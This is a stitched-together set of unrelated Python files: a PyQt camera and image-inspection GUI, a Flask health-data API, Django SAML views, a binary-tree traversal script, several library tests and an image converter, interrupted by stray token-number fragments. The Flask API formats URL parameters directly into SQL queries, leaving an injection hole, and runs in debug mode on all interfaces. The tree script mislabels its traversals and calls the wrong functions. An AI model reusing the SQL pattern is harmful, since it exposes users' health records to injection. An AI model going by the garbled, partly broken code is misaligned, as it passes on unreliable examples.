## ==> END ##
## WINDOW SIZE ==> DEFAULT SIZE
startSize = QSize(1000, 720)
self.resize(startSize)
self.setMinimumSize(startSize)
# UIFunctions.enableMaximumSize(self, 500, 720)
## ==> END ##
## ==> CREATE MENUS
########################################################################
## ==> TOGGLE MENU SIZE
self.ui.btn_toggle_menu.clicked.connect(lambda: UIFunctions.toggleMenu(self, 175, True))
## ==> END ##
## ==> ADD CUSTOM MENUS
self.ui.stackedWidget.setMinimumWidth(20)
UIFunctions.addNewMenu(self, "이미지 수집", "btn_raw_data", "url(:/16x16/icons/16x16/cil-library-add.png)", True)
UIFunctions.addNewMenu(self, "이미지 분석", "btn_learning", "url(:/16x16/icons/16x16/cil-laptop.png)", True)
UIFunctions.addNewMenu(self, "데이터 관리", "btn_result", "url(:/16x16/icons/16x16/cil-find-in-page.png)", True)
UIFunctions.addNewMenu(self, "Setting", "btn_setting", "url(:/16x16/icons/16x16/cil-settings.png)", False)
# UIFunctions.addNewMenu(self, "Custom Widgets", "btn_widgets", "url(:/16x16/icons/16x16/cil-equalizer.png)", False)
## ==> END ##
# START MENU => SELECTION
UIFunctions.selectStandardMenu(self, "btn_raw_data")
## ==> END ##
## ==> START PAGE
self.ui.stackedWidget.setCurrentWidget(self.ui.page_collection)
## ==> END ##
## USER ICON ==> SHOW HIDE
UIFunctions.userIcon(self, "EZ", "", True)
## ==> END ##
## ==> MOVE WINDOW / MAXIMIZE / RESTORE
########################################################################
def moveWindow(event):
# IF MAXIMIZED CHANGE TO NORMAL
if UIFunctions.returStatus() == 1:
UIFunctions.maximize_restore(self)
# MOVE WINDOW
if event.buttons() == Qt.LeftButton:
self.move(self.pos() + event.globalPos() - self.dragPos)
self.dragPos = event.globalPos()
event.accept()
# WIDGET TO MOVE
self.ui.frame_label_top_btns.mouseMoveEvent = moveWindow
## ==> END ##
## ==> LOAD DEFINITIONS
########################################################################
UIFunctions.uiDefinitions(self)
## ==> END ##
########################################################################
## END - WINDOW ATTRIBUTES
############################## ---/--/--- ##############################
########################################################################
# #
## START -------------- WIDGETS FUNCTIONS/PARAMETERS ---------------- ##
# #
## ==> USER CODES BELLOW ##
########################################################################
## ==> QTableWidget RARAMETERS
########################################################################
self.ui.tableWidget.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch)
## ==> END ##
########################################################################
# #
## END --------------- WIDGETS FUNCTIONS/PARAMETERS ----------------- ##
# #
############################## ---/--/--- ##############################
## SHOW ==> MAIN WINDOW
########################################################################
self.show()
## ==> END ##
# 이미지 수집
self.ui.btn_cam1.setCheckable(True)
self.ui.btn_cam1.clicked.connect(self.toggle_btn_cam1)
self.ui.btn_cam2.setCheckable(True)
self.ui.btn_cam2.clicked.connect(self.toggle_btn_cam2)
self.ui.btn_cam3.setCheckable(True)
self.ui.btn_cam3.clicked.connect(self.toggle_btn_cam3)
self.ui.btn_test.clicked.connect(self.btn_test)
self.ui.btn_scan.clicked.connect(self.btn_scan)
# 이미지 분석
self.label_ = []
self.ui.comboBox_2.currentIndexChanged.connect(self.onComboBox_2)
self.onComboBox_2(0) # 초기 기본 셋팅: 3열
# 데이터 관리
self.pixmap = QPixmap("On.png")
self.ui.textile_image.setPixmap(self.pixmap)
self.ui.textile_image.setScaledContents(True)
self.pixmap = QPixmap("Off.png")
self.ui.mask_image.setPixmap(self.pixmap)
self.ui.mask_image.setScaledContents(True)
# 이미지 수집
def toggle_btn_cam1(self, state):
if state == True:
process0 = subprocess.Popen("python grab_2camera.py turnon 0 Test 1")
print("btn_cam1: On")
else:
process0 = subprocess.Popen("python grab_2camera.py turnoff 0 Test 1")
print("btn_cam1: Off")
def toggle_btn_cam2(self, state):
if state == True:
process0 = subprocess.Popen("python grab_2camera_multi.py turnon 1 Test 1")
print("btn_cam2: On")
else:
process0 = subprocess.Popen("python grab_2camera_multi.py turnoff 1 Test 1")
print("btn_cam2: Off")
def toggle_btn_cam3(self, state):
if state == True:
process0 = subprocess.Popen("python grab_2camera_multi.py turnon 2 Test 1")
print("btn_cam3: On")
else:
process0 = subprocess.Popen("python grab_2camera_multi.py turnoff 2 Test 1")
print("btn_cam3: Off")
def save_temp_image(self, filename):
if len(updated_files) < 6:
return
# time.sleep(0)
keys = ['1_1', '1_2', '2_1', '2_2','3_1', '3_2']
scannerid = [1, 1, 2, 2, 3, 3]
new_image = Image.new('RGB', (320*2, 220*3))
fnt = ImageFont.truetype(os.path.join('./fonts/segoeui.ttf'), 15)
for i in range(0, 6):
image = Image.open('./Scanner/{}/{}'.format(scannerid[i],updated_files[keys[i]]))
image_small = image.resize((300,200))
d = ImageDraw.Draw(image_small)
d.text((10, 10), '{}/{}'.format(keys[i], updated_files[keys[i]]), font=fnt, fill=(255, 255, 255))
new_image.paste(image_small, ((i%2)*320 + 10, (scannerid[i]-1)*220 + 10))
new_image.save(filename, "JPEG")
def btn_test(self):
print("btn_test: pressed")
process0 = subprocess.Popen("python grab_2camera_multi_sync.py scan 1 Test 1")
process1 = subprocess.Popen("python grab_2camera_multi_sync.py scan 2 Test 1")
process2 = subprocess.Popen("python grab_2camera_multi_sync.py scan 3 Test 1")
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
event_handler = Event()
observer = Observer()
observer.schedule(event_handler, './Scanner', recursive=True)
observer.start()
index = 0
try:
while True:
time.sleep(1)
poll = process1.poll()
if poll == None:
print("Check update")
# self.save_temp_image('./Merge/{}.jpg'.format(index))
index = index + 1
print(updated_files)
else:
observer.stop()
break
except KeyboardInterrupt:
observer.stop()
self.save_temp_image('test_scan.jpg')
self.pixmap = QPixmap('test_scan.jpg')
self.ui.label_scan_image.setPixmap(self.pixmap)
self.ui.label_scan_image.setScaledContents(True)
def btn_scan(self):
print("btn_scan: pressed")
self.pixmap = QPixmap("Off.png")
self.ui.label_scan_image.setPixmap(self.pixmap)
self.ui.label_scan_image.setScaledContents(True)
# 이미지 분석
def onComboBox_2(self, index):
# 폴더에 있는 파일 리스트를 불러옴
global DIR
global file_list
global file_sender
file_sender.clear()
DIR = './icons/24x24' # 파일 있는 경로
file_list = [name for name in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, name))]
# file_list = os.listdir(folder_name)
# div = 행의 개수
if len(file_list) // (index+3) == 0: # int(파일 개수 / 열)
div = 1
elif len(file_list) % (index+3) == 0: # 파일 개수를 열로 나눈 나머지
div = len(file_list) // (index+3)
else:
div = len(file_list) // (index+3) + 1 # int(파일 개수 / 열) + 1
# print(range(0, div))
# print(range(len(self.label_)))
print(f"총 파일 개수: {len(file_list)}개")
if len(self.label_) > 0:
for i in range(len(self.label_)):
if i < len(file_list):
# print(i)
self.label_[i].deleteLater()
self.label_.clear()
for file_name in file_list:
self.label_.append(file_name)
def clickable(widget):
class Filter(QObject):
clicked = Signal()
def eventFilter(self, obj, event):
if obj == widget:
if event.type() == QEvent.MouseButtonRelease:
if obj.rect().contains(event.pos()):
self.clicked.emit()
# The developer can opt for .emit(obj) to get the object within the slot.
return True
return False
filter = Filter(widget)
widget.installEventFilter(filter)
file_sender.append(filter)
return filter.clicked
for i in range(0, div):
for j in range(index+3):
# print(i, j)
num = i * (index+3) + j
if num < len(file_list):
# print(num)
self.label_[num] = QLabel(self.ui.scrollAreaWidgetContents_4)
self.label_[num].setText("")
self.label_[num].setObjectName(f"label_{num}")
self.ui.gridLayout_6.addWidget(self.label_[num], int(i), int(j), 1, 1)
self.pixmap = QPixmap(f"{DIR}/{file_list[num]}")
self.label_[num].setPixmap(self.pixmap)
self.label_[num].setAlignment(Qt.AlignCenter)
# self.label_[num].setScaledContents(True) # 맞춤 사이즈
self.label_[num].setScaledContents(False) # 원본 사이즈
clickable(self.label_[num]).connect(self.pictureListClicked)
# 불량 (0부터 시작)
self.label_[2].setStyleSheet("border: 7px solid red;")
self.label_[4].setStyleSheet("border: 7px solid red;")
def pictureListClicked(self):
global DIR
global file_list
global file_sender
image_name = ''
for i, object_name in enumerate(file_sender):
if object_name == self.sender():
image_name = file_list[i]
if image_name != '':
self.pop_up = QLabel("")
self.pixmap = QPixmap(f"{DIR}/{image_name}")
self.pop_up.setPixmap(self.pixmap)
self.pop_up.setWindowTitle(image_name)
self.pop_up.show()
# self.ui.gridLayout_5.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)
# self.label_[7].clear()
# self.label_[7].setHidden(True)
# # creating scroll label
# label = ScrollLabel(self)
# # setting tool tip
# label.setToolTip("It is tool tip")
########################################################################
## MENUS ==> DYNAMIC MENUS FUNCTIONS
########################################################################
def Button(self):
# GET BT CLICKED
btnWidget = self.sender()
# Raw Data
if btnWidget.objectName() == "btn_raw_data":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_collection)
UIFunctions.resetStyle(self, "btn_raw_data")
UIFunctions.labelPage(self, "이미지 수집")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
# Learning
if btnWidget.objectName() == "btn_learning":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_analysis)
UIFunctions.resetStyle(self, "btn_learning")
UIFunctions.labelPage(self, "이미지 분석")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
# Results
if btnWidget.objectName() == "btn_result":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_management)
UIFunctions.resetStyle(self, "btn_result")
UIFunctions.labelPage(self, "데이터 관리")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
# Settings
if btnWidget.objectName() == "btn_setting":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_widgets)
UIFunctions.resetStyle(self, "btn_setting")
UIFunctions.labelPage(self, "Setting")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
## ==> END ##
########################################################################
## START ==> APP EVENTS
########################################################################
## EVENT ==> MOUSE DOUBLE CLICK
########################################################################
def eventFilter(self, watched, event):
if watched == self.le and event.type() == QtCore.QEvent.MouseButtonDblClick:
print("pos: ", event.pos())
## ==> END ##
## EVENT ==> MOUSE CLICK
########################################################################
def mousePressEvent(self, event):
self.dragPos = event.globalPos()
if event.buttons() == Qt.LeftButton:
print('Mouse click: LEFT CLICK')
if event.buttons() == Qt.RightButton:
print('Mouse click: RIGHT CLICK')
if event.buttons() == Qt.MidButton:
print('Mouse click: MIDDLE BUTTON')
## ==> END ##
## EVENT ==> KEY PRESSED
########################################################################
def keyPressEvent(self, event):
print('Key: ' + str(event.key()) + ' | Text Press: ' + str(event.text()))
## ==> END ##
## EVENT ==> RESIZE EVENT
########################################################################
def resizeEvent(self, event):
self.resizeFunction()
return super(MainWindow, self).resizeEvent(event)
def resizeFunction(self):
print('Height: ' + str(self.height()) + ' | Width: ' + str(self.width()))
## ==> END ##
########################################################################
## END ==> APP EVENTS
############################## ---/--/--- ##############################
if __name__ == "__main__":
app = QApplication(sys.argv)
QtGui.QFontDatabase.addApplicationFont('fonts/segoeui.ttf')
QtGui.QFontDatabase.addApplicationFont('fonts/segoeuib.ttf')
window = MainWindow()
sys.exit(app.exec_())
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lib/__init__.py | federico123579/BigBrother | 29 | 108708 | <reponame>federico123579/BigBrother
__all__ = ['base', 'bbro', 'clint', 'sentry']
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server.py | health-line/health-line-backend | 0 | 42789 | from flask import Flask
from flask import jsonify
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import text
from flask_cors import CORS, cross_origin
import os
app = Flask(__name__)
CORS(app)
app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['SQLALCHEMY_DATABASE_URI']
db = SQLAlchemy(app)
db.engine.execute(text("""CREATE DATABASE IF NOT EXISTS HPI_2017;"""))
db.engine.execute(text("""USE HPI_2017;"""))
@app.route("/api/")
def helloWorld():
return "Hello, cross-origin-world!"
@app.route("/api/")
def hello():
sql = text("""SELECT "VALUE" FROM "HPI_2017"."DATAPOINTS" WHERE "KEY" = 'CALORIES' LIMIT 10""")
result = db.engine.execute(sql)
names = []
for row in result:
names.append(row[0])
return str(names)
@app.route("/api/datakeys/")
def datakeys():
sql = text("""SELECT DISTINCT "KEY" FROM "HPI_2017"."DATAPOINTS" """)
result = db.engine.execute(sql)
keys = []
for row in result:
keys.append(row[0])
return jsonify(keys)
@app.route("/api/users/")
def users():
sql = text("""SELECT * FROM "HPI_2017"."USERS" """)
result = db.engine.execute(sql)
users = []
for row in result:
user = {}
user["ID"] = row[2]
user["NAME"] = row[0]
user["BIRTHDAY"] = row[1]
user["SEX"] = row[3]
user["HEIGHT"] = row[4]
users.append(user)
return jsonify(users)
@app.route("/api/user/<int:userId>/")
def user(userId):
sql = text("""SELECT * FROM "HPI_2017"."USERS" WHERE "ID" = {0}""".format(userId))
result = db.engine.execute(sql)
for row in result:
user = {}
user["ID"] = row[2]
user["NAME"] = row[0]
user["BIRTHDAY"] = row[1]
user["SEX"] = row[3]
user["HEIGHT"] = row[4]
return jsonify(user)
@app.route("/api/user/<int:userId>/data/<string:dataKeys>/start/<string:startDate>/end/<string:endDate>")
def data(userId, dataKeys, startDate, endDate):
keys = "(\'" + "\', \'".join(dataKeys.split("+")) + "\')"
sql = text("""SELECT "DATE", "KEY", "VALUE" FROM "HPI_2017"."DATAPOINTS" WHERE "USER" = {0} AND "DATE" >= '{1}' AND "DATE" <= '{2}' AND "KEY" IN {3} """.format(userId, startDate, endDate, keys))
result = db.engine.execute(sql)
dateDictionary = {}
for row in result:
dateKey = row[0].toordinal()
if dateKey not in dateDictionary:
dateDictionary[dateKey] = {"DATE": row[0].strftime("%Y-%m-%d")}
dateDictionary[row[0].toordinal()][row[1]] = row[2]
return jsonify(dateDictionary.values())
@app.route("/api/user/<int:userId>/gesundheitscloud/")
def gesundheitscloud(userId):
sql = text("""SELECT * FROM "HPI_2017"."GESUNDHEITSCLOUD" WHERE "USER" = {0} ORDER BY "DATE_START" DESC""".format(userId))
result = db.engine.execute(sql)
cloudResults = []
for row in result:
document = {}
document["DATE_START"] = row[0]
document["DATE_END"] = row[1]
document["FACILITY"] = row[2]
document["LOCATION"] = row[3]
document["TREATMENT"] = row[4]
document["TYPE"] = row[6]
document["DESCRIPTION"] = row[5]
cloudResults.append(document)
return jsonify(cloudResults)
@app.route("/api/user/<int:userId>/events/")
def events(userId):
sql = text("""SELECT * FROM "HPI_2017"."EVENTS" WHERE "USER" = {0} ORDER BY "DATE_START" DESC""".format(userId))
result = db.engine.execute(sql)
events = []
for row in result:
event = {}
event["DATE_START"] = row[0]
event["DATE_END"] = row[1]
event["TYPE"] = row[3]
event["TITLE"] = row[4]
event["DESCRIPTION"] = row[5]
events.append(event)
return jsonify(events)
<EMAIL>("/api/user/<int:userId>")
app.run(debug=True, port=4200, host="0.0.0.0")
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space_manager/branches/migrations/0011_branch_minimap_img.py | yoojat/Space-Manager | 0 | 44242 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-05-03 14:34
from __future__ import unicode_literals
from django.db import migrations, models
import space_manager.branches.models
class Migration(migrations.Migration):
dependencies = [
('branches', '0010_branch_lounge_img_cabinet'),
]
operations = [
migrations.AddField(
model_name='branch',
name='minimap_img',
field=models.ImageField(null=True, upload_to='', validators=[space_manager.branches.models.Branch.validate_image]),
),
]
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app/__init__.py | meedan/alegre | 11 | 88120 | <reponame>meedan/alegre
# app/__init__.py
from flask_restplus import Api
from flask import Blueprint
from .main.controller.about_controller import api as about_ns
from .main.controller.healthcheck_controller import api as healthcheck_ns
from .main.controller.langid_controller import api as langid_ns
from .main.controller.similarity_controller import api as similarity_ns
from .main.controller.audio_transcription_controller import api as audio_transcription_ns
from .main.controller.audio_similarity_controller import api as audio_similarity_ns
from .main.controller.video_similarity_controller import api as video_similarity_ns
from .main.controller.bulk_similarity_controller import api as bulk_similarity_ns
from .main.controller.bulk_update_similarity_controller import api as bulk_update_similarity_ns
from .main.controller.translation_controller import api as translation_ns
from .main.controller.model_controller import api as model_ns
from .main.controller.image_similarity_controller import api as image_similarity_ns
from .main.controller.image_classification_controller import api as image_classification_ns
from .main.controller.image_ocr_controller import api as image_ocr_ns
from .main.controller.article_controller import api as article_ns
blueprint = Blueprint('api', __name__)
api = Api(blueprint,
title='Alegre API',
version='2.0',
description='A media analysis service'
)
api.add_namespace(about_ns, path='/about')
api.add_namespace(healthcheck_ns, path='/healthcheck')
api.add_namespace(model_ns, path='/model')
api.add_namespace(langid_ns, path='/text/langid')
api.add_namespace(similarity_ns, path='/text/similarity')
api.add_namespace(audio_transcription_ns, path='/audio/transcription')
api.add_namespace(audio_similarity_ns, path='/audio/similarity')
api.add_namespace(video_similarity_ns, path='/video/similarity')
api.add_namespace(bulk_similarity_ns, path='/text/bulk_similarity')
api.add_namespace(bulk_update_similarity_ns, path='/text/bulk_update_similarity')
api.add_namespace(translation_ns, path='/text/translation')
api.add_namespace(image_similarity_ns, path='/image/similarity')
api.add_namespace(image_classification_ns, path='/image/classification')
api.add_namespace(image_ocr_ns, path='/image/ocr')
api.add_namespace(article_ns, path='/article')
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] |
tests/__init__.py | coleb/sendoff | 2 | 6662 | """Tests for the `sendoff` library."""
"""
The `sendoff` library tests validate the expected function of the library.
"""
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tests/test_service_env.py | awesome-archive/BentoML | 0 | 149705 | <gh_stars>0
import os
import bentoml
def test_requirement_txt_env(tmpdir):
req_txt_file = tmpdir.join("requirements.txt")
with open(str(req_txt_file), 'wb') as f:
f.write(b"numpy\npandas\ntorch")
@bentoml.env(requirements_txt=str(req_txt_file))
class ServiceWithFile(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_file = ServiceWithFile()
assert 'numpy' in service_with_file.env._pip_dependencies
assert 'pandas' in service_with_file.env._pip_dependencies
assert 'torch' in service_with_file.env._pip_dependencies
saved_path = service_with_file.save('/tmp')
with open(os.path.join(saved_path, 'requirements.txt'), 'rb') as f:
content = f.read().decode('utf-8')
assert 'numpy' in content
assert 'pandas' in content
assert 'torch' in content
def test_pip_dependencies_env():
@bentoml.env(pip_dependencies="numpy")
class ServiceWithString(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_string = ServiceWithString()
assert 'numpy' in service_with_string.env._pip_dependencies
@bentoml.env(pip_dependencies=['numpy', 'pandas', 'torch'])
class ServiceWithList(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_list = ServiceWithList()
assert 'numpy' in service_with_list.env._pip_dependencies
assert 'pandas' in service_with_list.env._pip_dependencies
assert 'torch' in service_with_list.env._pip_dependencies
def test_pip_dependencies_with_archive(tmpdir):
@bentoml.env(pip_dependencies=['numpy', 'pandas', 'torch'])
class ServiceWithList(bentoml.BentoService):
@bentoml.api(bentoml.handlers.DataframeHandler)
def predict(self, df):
return df
service_with_list = ServiceWithList()
saved_path = service_with_list.save(str(tmpdir))
requirements_txt_path = os.path.join(saved_path, 'requirements.txt')
with open(requirements_txt_path, 'rb') as f:
saved_requirements = f.read()
module_list = saved_requirements.decode('utf-8').split('\n')
assert 'numpy' in module_list
assert 'pandas' in module_list
assert 'torch' in module_list
| [
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297,
3883,
29918,
1761,
13,
2
] |
2475.py | FelisCatusKR/Baekjoon_Python3 | 0 | 70709 | # 2475.py
print(sum([x*x for x in map(int,input().split())])%10) | [
1,
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2
] |
django_saml/views.py | zendesk/python3-saml-django | 20 | 133607 | import logging
from django.conf import settings
from django.contrib import auth
from django.core.exceptions import PermissionDenied
from django.http import HttpResponse, HttpResponseRedirect, HttpResponseServerError
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_exempt
from onelogin.saml2.auth import OneLogin_Saml2_Auth
from onelogin.saml2.utils import OneLogin_Saml2_Utils
logger = logging.getLogger('django_saml')
def prepare_django_request(request):
"""Extract data from a Django request in the way that OneLogin expects."""
result = {
'https': 'on' if request.is_secure() else 'off',
'http_host': request.META['HTTP_HOST'],
'script_name': request.META['PATH_INFO'],
'server_port': request.META['SERVER_PORT'],
'get_data': request.GET.copy(),
'post_data': request.POST.copy()
}
if settings.SAML_DESTINATION_HOST is not None:
result['http_host'] = settings.SAML_DESTINATION_HOST
if settings.SAML_DESTINATION_HTTPS is not None:
result['https'] = settings.SAML_DESTINATION_HTTPS
result['server_port'] = '443' if result['https'] else '80'
if settings.SAML_DESTINATION_PORT is not None:
result['server_port'] = settings.SAML_DESTINATION_PORT
return result
@never_cache
def login(request):
"""Kick off a SAML login request."""
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
if 'next' in request.GET:
redirect_to = OneLogin_Saml2_Utils.get_self_url(req) + request.GET['next']
else:
redirect_to = OneLogin_Saml2_Utils.get_self_url(req) + settings.SAML_LOGIN_REDIRECT
url = saml_auth.login(redirect_to)
request.session['AuthNRequestID'] = saml_auth.get_last_request_id()
return HttpResponseRedirect(url)
@never_cache
def logout(request):
"""Kick off a SAML logout request."""
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
name_id = request.session.get('samlNameId', None)
session_index = request.session.get('samlSessionIndex', None)
name_id_format = request.session.get('samlNameIdFormat', None)
name_id_nq = request.session.get('samlNameIdNameQualifier', None)
name_id_spnq = request.session.get('samlNameIdSPNameQualifier', None)
auth.logout(request)
url = saml_auth.logout(
name_id=name_id, session_index=session_index, nq=name_id_nq, name_id_format=name_id_format, spnq=name_id_spnq,
return_to=OneLogin_Saml2_Utils.get_self_url(req) + settings.SAML_LOGOUT_REDIRECT
)
request.session['LogoutRequestID'] = saml_auth.get_last_request_id()
return HttpResponseRedirect(url)
@never_cache
def saml_sls(request):
"""Handle a LogoutResponse from the IdP."""
if request.method != 'GET':
return HttpResponse('Method not allowed.', status=405)
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
request_id = request.session.get('LogoutRequestID', None)
try:
url = saml_auth.process_slo(request_id=request_id, delete_session_cb=lambda: request.session.flush())
errors = saml_auth.get_errors()
if len(errors) == 0:
auth.logout(request)
redirect_to = url or settings.SAML_LOGOUT_REDIRECT
return HttpResponseRedirect(redirect_to)
else:
logger.exception(saml_auth.get_last_error_reason())
return HttpResponse("Invalid request", status=400)
except UnicodeDecodeError:
# Happens when someone messes with the response in the URL. No need to log an exception.
return HttpResponse("Invalid request - Unable to decode response", status=400)
except Exception as e:
logger.exception(e)
return HttpResponse("Invalid request", status=400)
@never_cache
@csrf_exempt
def saml_acs(request):
"""Handle an AuthenticationResponse from the IdP."""
if request.method != 'POST':
return HttpResponse('Method not allowed.', status=405)
try:
req = prepare_django_request(request)
saml_auth = OneLogin_Saml2_Auth(req, old_settings=settings.ONELOGIN_SAML_SETTINGS)
request_id = request.session.get('AuthNRequestID', None)
saml_auth.process_response(request_id=request_id)
errors = saml_auth.get_errors()
if not errors:
user = auth.authenticate(session_data=saml_auth.get_attributes())
if user is None:
if settings.SAML_NO_USER_REDIRECT:
return HttpResponseRedirect(settings.SAML_NO_USER_REDIRECT)
raise PermissionDenied()
auth.login(request, user)
# This data is used during Single Log Out
request.session['samlNameId'] = saml_auth.get_nameid()
request.session['samlNameIdFormat'] = saml_auth.get_nameid_format()
request.session['samlNameIdNameQualifier'] = saml_auth.get_nameid_nq()
request.session['samlNameIdSPNameQualifier'] = saml_auth.get_nameid_spnq()
request.session['samlSessionIndex'] = saml_auth.get_session_index()
if 'RelayState' in req['post_data'] \
and OneLogin_Saml2_Utils.get_self_url(req) != req['post_data']['RelayState']:
url = saml_auth.redirect_to(req['post_data']['RelayState'])
return HttpResponseRedirect(url)
else:
return HttpResponseRedirect(settings.SAML_LOGIN_REDIRECT)
logger.exception(saml_auth.get_last_error_reason())
return HttpResponse(content="Invalid Response", status=400)
except PermissionDenied:
raise
except Exception as e:
logger.exception(e)
return HttpResponse(content="Invalid Response", status=400)
def metadata(request):
"""Render the metadata of this service."""
metadata_dict = settings.ONELOGIN_SAML_SETTINGS.get_sp_metadata()
errors = settings.ONELOGIN_SAML_SETTINGS.validate_metadata(metadata_dict)
if len(errors) == 0:
resp = HttpResponse(content=metadata_dict, content_type='text/xml')
else:
resp = HttpResponseServerError(content=', '.join(errors))
return resp
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] |
Job-Interviews/Python/BinaryTrees/Problem2.py | JuanPabloMontoya271/ITC | 1 | 15262 | class Tree:
def __init__(self, val,left = None, right = None):
self.val = val
self.left = left
self.right = right
root = Tree(4, left = Tree(3), right=Tree(5, left= Tree(4)))
#InOrderTraversal
def InOrderTraversal(root, res = []):
if root is None:
return res
InOrderTraversal(root.left, res)
InOrderTraversal(root.right, res)
res.append(root.val)
return res
print("In order:", InOrderTraversal(root))
#PreOrderTraversal
def PreOrderTraversal(root, res = []):
if root is None:
return res
res.append(root.val)
InOrderTraversal(root.left, res)
InOrderTraversal(root.right, res)
return res
print("Pre order:", PreOrderTraversal(root))
#PostOrderTraversal
def PostOrderTraversal(root, res = []):
if root is None:
return res
InOrderTraversal(root.left, res)
res.append(root.val)
InOrderTraversal(root.right, res)
return res
print("Post order:", PostOrderTraversal(root))
def LevelOrderTraversal(root, res =[ ]):
if root is None:
return res
queue = []
queue.append(root)
while len(queue)>0:
res.append(queue[0].val)
node = queue.pop(0)
if node.left is not None:
queue.append(node.left)
if node.right is not None:
queue.append(node.right)
return res
print("Level order Traversal: ", LevelOrderTraversal(root)) | [
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SRC/orientationmap/orientmapdisplay.py | usnistgov/OOF3D | 31 | 192032 | # -*- python -*-
# This software was produced by NIST, an agency of the U.S. government,
# and by statute is not subject to copyright in the United States.
# Recipients of this software assume all responsibilities associated
# with its operation, modification and maintenance. However, to
# facilitate maintenance we ask that before distributing modified
# versions of this software, you first contact the authors at
# <EMAIL>.
from ooflib.SWIG.common import config
from ooflib.SWIG.common import coord
from ooflib.SWIG.engine import angle2color
from ooflib.SWIG.engine import orientationimage
from ooflib.SWIG.orientationmap import orientmapdata
from ooflib.common import color
from ooflib.common import debug
from ooflib.common import primitives
from ooflib.common import registeredclass
from ooflib.common.IO import display
from ooflib.common.IO import parameter
from ooflib.common.IO import xmlmenudump
from ooflib.engine.IO import microstructuredisplay
class OrientationMapDisplay(display.DisplayMethod):
def __init__(self, colorscheme):
self.colorscheme = colorscheme
display.DisplayMethod.__init__(self)
def draw(self, gfxwindow, device):
msobj = self.who().getObject(gfxwindow)
data = orientmapdata.getOrientationMap(msobj)
if data is not None:
orientimage = orientmapdata.OrientMapImage(data, self.colorscheme)
if config.dimension() == 2:
device.draw_image(orientimage, coord.Coord(0,0), msobj.size())
elif config.dimension() == 3:
device.draw_image(orientimage, coord.Coord(0,0,0), msobj.size())
# def getTimeStamp(self, gfxwindow):
# msobj = self.who().getObject(gfxwindow)
# return max(display.DisplayMethod.getTimeStamp(self, gfxwindow),
# orientmapdata.getOrientationMapTimestamp(msobj))
registeredclass.Registration(
'Orientation Map',
display.DisplayMethod,
OrientationMapDisplay,
ordering=2,
params=[parameter.RegisteredParameter('colorscheme',
angle2color.Angle2Color,
tip='Method for converting angles to colors.')
],
layerordering=display.Planar(0.5),
whoclasses = ('Microstructure',),
tip="Display a Microstructure's Orientation Map, whether or not it's used by Material Properties.",
discussion=xmlmenudump.loadFile('DISCUSSIONS/orientationmap/reg/orientationmapdisplay.xml'))
| [
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tests/spark/models/test_spark_configuration.py | Geims83/aztk | 161 | 1608207 | <filename>tests/spark/models/test_spark_configuration.py
from aztk.spark.models import SparkConfiguration
from aztk.error import InvalidModelError
def test_spark_configuration_defaults():
spark_configuration = SparkConfiguration()
spark_configuration.validate()
assert spark_configuration.spark_defaults_conf is None
assert spark_configuration.spark_defaults_conf is None
assert spark_configuration.spark_defaults_conf is None
def test_spark_configuration_fields():
spark_configuration = SparkConfiguration(
spark_defaults_conf="spark-defaults.conf",
spark_env_sh="spark-env.sh",
core_site_xml="core-site.xml",
)
spark_configuration.validate()
assert spark_configuration.spark_defaults_conf == "spark-defaults.conf"
assert spark_configuration.spark_env_sh == "spark-env.sh"
assert spark_configuration.core_site_xml == "core-site.xml"
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image_process.py | SatoshiRobatoFujimoto/miaomiaoji-tool | 1 | 77793 | <reponame>SatoshiRobatoFujimoto/miaomiaoji-tool<gh_stars>1-10
#!/usr/bin/python
# -*-coding:utf-8-*-
__author__ = "ihciah"
import cv2
class ImageConverter:
@staticmethod
def pre_process(im, interpolation=cv2.INTER_AREA):
fixed_width = 384
gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) if len(im.shape) == 3 and im.shape[2] != 1 else im
multi = float(fixed_width) / gray.shape[1]
dim = (fixed_width, int(gray.shape[0] * multi))
new_im = cv2.resize(gray, dim, interpolation=interpolation)
return new_im
@staticmethod
def frombits(bits):
chars = []
for b in range(int(len(bits) / 8)):
byte = bits[b*8:(b+1)*8]
chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))
return ''.join(chars)
@staticmethod
def im2bmp(im, interpolation=cv2.INTER_AREA):
im = ImageConverter.pre_process(im, interpolation)
retval, im_binary = cv2.threshold(im, 127, 255, cv2.THRESH_BINARY)
ret = ''
for h in range(im_binary.shape[0]):
pixels = [im_binary[h, w] for w in range(im_binary.shape[1])]
binary = list(map(lambda x: 1 if x == 0 else 0, pixels))
ret += ImageConverter.frombits(binary)
return ret
@staticmethod
def image2bmp(path, interpolation=cv2.INTER_AREA):
return ImageConverter.im2bmp(cv2.imread(path), interpolation)
class TextConverter:
@staticmethod
def text2bmp(text, height=70, pos=(10, 50), font=cv2.FONT_HERSHEY_SIMPLEX, size=2, color=0, thick=2):
import numpy as np
blank_image = np.zeros((height, 384), np.uint8)
blank_image.fill(255)
